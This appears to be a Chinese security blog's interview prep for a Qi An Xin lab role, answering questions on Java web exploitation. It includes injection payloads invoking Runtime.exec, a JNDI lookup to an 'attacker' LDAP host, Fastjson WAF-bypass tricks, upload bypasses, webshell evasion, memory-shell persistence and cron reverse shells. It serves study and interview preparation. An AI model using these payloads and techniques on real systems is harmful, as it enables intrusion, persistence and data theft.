安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
奇安信[校招]奇安信观星实验室
1. 跟过的大型应用软件CVE漏洞
2. 容器虚拟化漏洞研究
3. 系统审计案例与漏洞分析
4. 鉴权与路由分发漏洞
5. 文件上传漏洞绕过(限制.jsp/.jspx)
6. 上传War包、JAR包与SSTI结合利用
7. Spring Boot源码审计方向
8. Spring Boot+MySQL+Linux深度利用场景
9. 模板引擎注入(Thymeleaf)与表达式审计
10. 表达式注入(EL/SpEL)触发方法
11. Java任意代码执行触发点
12. Fastjson加载JSON流程
13. Fastjson特性与WAF绕过
14. Shiro头过大绕过与Nginx代理影响
15. Weblogic T3协议反序列化触发点
16. 原生反序列化触发点
17. 内存马注入流程与持久化
18. JSP免杀思路与标签绕过
奇安信[校招]奇安信观星实验室
1. 跟过什么大型应用软件的cve漏洞 2. 容器虚拟化方面的漏洞研究过吗 3. 说一些你审计过的系统,挑一两个漏洞讲讲 4. 鉴权、路由分发 5. 场景:存在一个文件上传漏洞,后缀限制了jsp,jspx,怎么解决,从一些中间件的特性考虑 6. (上传war包,tomcat自动部署、上传jar包、上传html结合SSTI漏洞) 7. 场景:给你一个spring boot搭建的源码,怎么审计出能够深入利用的漏洞 8. 场景:spring boot+mysql+linux的应用怎么审,能够造成最大利用程度 9. 模版引擎注入(thymeleaf) 、表达式注入,怎么审 10. 表达式注入、el、spel等 的触发方法 11. Java中哪些能造成任意代码执行 12. 说一下fastjson加载json的流程 13. fastjson有哪些特性,如何借助这些特性去做一个waf的绕过 14. shiro绕过请求头内容过大,如果在tomcat前有一个nginx做转发呢 15. weblogic t3协议反序列化漏洞的触发点是什么 16. 原生反序列化触发点除了readObject,还有什么 17. 内存马注入的流程,持久化 18. jsp免杀的思路展开谈谈,拦截了jsp的标签,怎么办.
1. 跟过的大型应用软件CVE漏洞
列举(控制在10个以内):
- CVE-2021-44228(Log4Shell):Log4j2 JNDI注入导致RCE,影响广泛(如VMware、Apple iCloud)。
- CVE-2021-41773(Apache HTTP Server路径穿越):未正确过滤路径,允许访问非公开文件。
- CVE-2022-22963(Spring Cloud Function SpEL注入):函数路由参数未过滤,远程代码执行。
- CVE-2023-20861(VMware Aria Operations反序列化):利用Java反序列化链攻陷管理后台。
- CVE-2023-27997(FortiGate SSL-VPN堆溢出):未认证远程代码执行,用于APT攻击。
- CVE-2022-36537(Smartbi未授权访问):绕过权限校验直接操作数据库。
2. 容器虚拟化漏洞研究
研究方向与案例:
- 容器逃逸:
- CVE-2019-5736(runC漏洞):恶意容器覆盖宿主机runC二进制文件实现逃逸。
- CVE-2020-15257(containerd-shim API暴露):通过抽象命名空间Unix Socket提权。
- 镜像污染:供应链攻击注入恶意层(如恶意Python库)。
- 防护方案:Seccomp策略限制系统调用、AppArmor/SELinux强制访问控制。
3. 系统审计案例与漏洞分析
案例1:某OA系统鉴权逻辑漏洞
- 漏洞点:权限校验仅依赖前端隐藏字段
isAdmin=1
,后端未校验会话角色。- 利用:修改请求参数越权访问管理接口,直接删除用户。
- 修复:后端增加RBAC校验,结合JWT令牌存储角色信息。
案例2:Spring Boot Actuator未授权访问
- 漏洞点:
management.endpoints.web.exposure.include=*
暴露所有端点。- 利用:通过
/actuator/env
获取数据库密码,结合/actuator/restart
触发配置重置。- 修复:限制暴露端点、启用Spring Security鉴权。
4. 鉴权与路由分发漏洞
常见问题:
- 鉴权绕过:
- 路径白名单绕过(如
/api/../public
解析为/public
)。- JWT令牌未校验签名或使用弱密钥(如HMAC-SHA256密钥为
secret
)。- 路由分发缺陷:
- 未限制HTTP方法(如GET请求触发POST逻辑)。
- 路径参数注入(如
/user/{id}
未校验id
权限)。
5. 文件上传漏洞绕过(限制.jsp/.jspx)
中间件特性绕过方案:
- Tomcat:
- 后缀大小写混合:
.JsP
、.JSPx
(Windows不敏感)。- 特殊字符截断:
shell.jsp%20
(空格截断)。- Nginx + PHP-FPM:
- 解析漏洞:
shell.jsp.jpg
被PHP-FPM解析为PHP(需fastcgi_split_path
配置错误)。- IIS:
- 分号截断:
shell.asp;.jpg
被解析为ASP。- 上传为压缩包:
- WAR包自动部署(Tomcat的
webapps
目录监测)。- JAR包利用Spring Boot FatJar特性加载恶意类。
6. 上传War包、JAR包与SSTI结合利用
- War包上传到Tomcat:
bash
# 生成含JSP Webshell的War包 jar -cvf shell.war shell.jsp # 上传至http://target:8080/manager/html部署
- JAR包利用:
- Spring Boot加载外部JAR时执行
static{}
代码块。- HTML + SSTI:
- 上传HTML文件插入Thymeleaf表达式(如
${T(java.lang.Runtime).getRuntime().exec('calc')}
)。
7. Spring Boot源码审计方向
深度利用漏洞挖掘步骤:
- 依赖扫描:检查pom.xml 中易受攻击库(如Fastjson 1.2.24)。
- Actuator端点:
/actuator/heapdump
泄露内存敏感数据。/actuator/mappings
暴露路由信息。- 反序列化入口:
- HTTP参数解析(如
@RequestBody
接收JSON)。- Redis/JMS消息队列消费者使用
ObjectInputStream
。- SPEL表达式注入:
- 检查
@PreAuthorize
、@Value
注解中的动态表达式。
8. Spring Boot+MySQL+Linux深度利用场景
最大化利用路径:
- 数据库渗透:
- 通过JDBC URL漏洞(如MySQL
allowLoadLocalInfile
读取客户端文件)。- 导出数据库备份至Web目录下载。
- Linux提权:
- 利用SUID程序(如find、vim)提权到root。
- 写定时任务反弹Shell(
/etc/cron.d/
)。- 横向移动:
- 通过MySQL账户密码爆破内网其他服务。
9. 模板引擎注入(Thymeleaf)与表达式审计
审计方法:
- 模板动态拼接:
- 查找
templateEngine.process(userInput)
未过滤的调用点。- 表达式类型:
- 预处理表达式:
__${...}__
可能直接执行。- URL参数渲染:
<a th:href="@{${path}}">
中path
可控。- 沙盒绕过:
- 利用内置工具类(如
T(org.apache.tomcat.util.codec.binary.Base64)
)。
10. 表达式注入(EL/SpEL)触发方法
触发点与Payload:
- EL表达式(JSP):
jsp
${pageContext.request.getParameter("a").getClass().forName("java.lang.Runtime").getMethod("exec",...).invoke(...)}
- SpEL(Spring):
java
// 漏洞代码 @Value("#{${userInput}}") // Payload T(java.lang.Runtime).getRuntime().exec("calc")
- OGNL(Struts2):
%{(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('id'))}
11. Java任意代码执行触发点
常见触发链:
- 反射调用:
java
Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "calc");
- JNDI注入:
InitialContext.lookup("ldap://attacker/Exploit")
。- 反序列化:
ObjectInputStream.readObject()
触发链(如CommonsCollections)。- Groovy引擎:动态执行Groovy脚本。
12. Fastjson加载JSON流程
关键步骤:
- 解析入口:
JSON.parse()
或JSON.parseObject()
。- 自动类型推断:通过
@type
指定反序列化类(如{"@type":"com.sun.rowset.JdbcRowSetImpl"...}
)。- Setter/Getter调用:根据JSON键名调用对象的setter或直接赋值字段(需
Feature.SupportNonPublicField
)。- 漏洞触发:
JdbcRowSetImpl
的setDataSourceName()
触发JNDI查找。
13. Fastjson特性与WAF绕过
特性利用:
- Unicode编码:
\u0040type
绕过@type
关键字过滤。- 注释干扰:
//
或/**/
分割敏感字符(如{"@ty/**/pe":"..."}
)。- 多层嵌套:利用
$ref
循环引用绕过深度检测。- 非公开字段赋值:启用
SupportNonPublicField
绕过Setter校验。
14. Shiro头过大绕过与Nginx代理影响
场景分析:
- Shiro头限制:默认Cookie头长度限制(4KB),超长会报错。
- 绕过方法:利用Nginx的
large_client_header_buffers
配置错误,分割恶意Cookie为多个头字段。- Payload构造:
http
Cookie: JSESSIONID=xxx Cookie: rememberMe=加密后的超长Payload
15. Weblogic T3协议反序列化触发点
触发流程:
- T3协议通信:客户端与服务端通过序列化对象交互。
- 入口类:
weblogic.rjvm.ClassTableEntry
解析接收的类。- 漏洞点:未校验反序列化类,加载恶意
AnnotationInvocationHandler
触发链。- 利用工具:ysoserial的
CommonsCollections
链生成Payload。
16. 原生反序列化触发点
除
readObject()
外:
- readResolve():反序列化完成后自动调用。
- readExternal():实现
Externalizable
接口时的自定义反序列化逻辑。- Serializable代理:
ObjectInputStream.resolveProxyClass()
加载动态代理类。
17. 内存马注入流程与持久化
注入流程:
- 选择注入点:如Tomcat的Filter、Servlet或Spring的Controller。
- 动态注册组件:
- Tomcat Filter:通过
StandardContext.addFilter()
插入恶意Filter。- 持久化:
- 写文件:注入启动脚本(如
rc.local
)。- 注册表:Windows下写入
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
。
18. JSP免杀思路与标签绕过
免杀方法:
- 标签替换:使用
<%! %>
声明类或<%= %>
表达式替代<% %>
代码块。- 编码混淆:Hex编码关键字符(如
<
→\u003c
)。- 反射调用:
jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %> → 改为 <% Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(null, "cmd"); %>
- 静态资源伪装:将JSP后缀改为
.css
,结合容器解析漏洞(如Tomcat的/servlet/
映射)。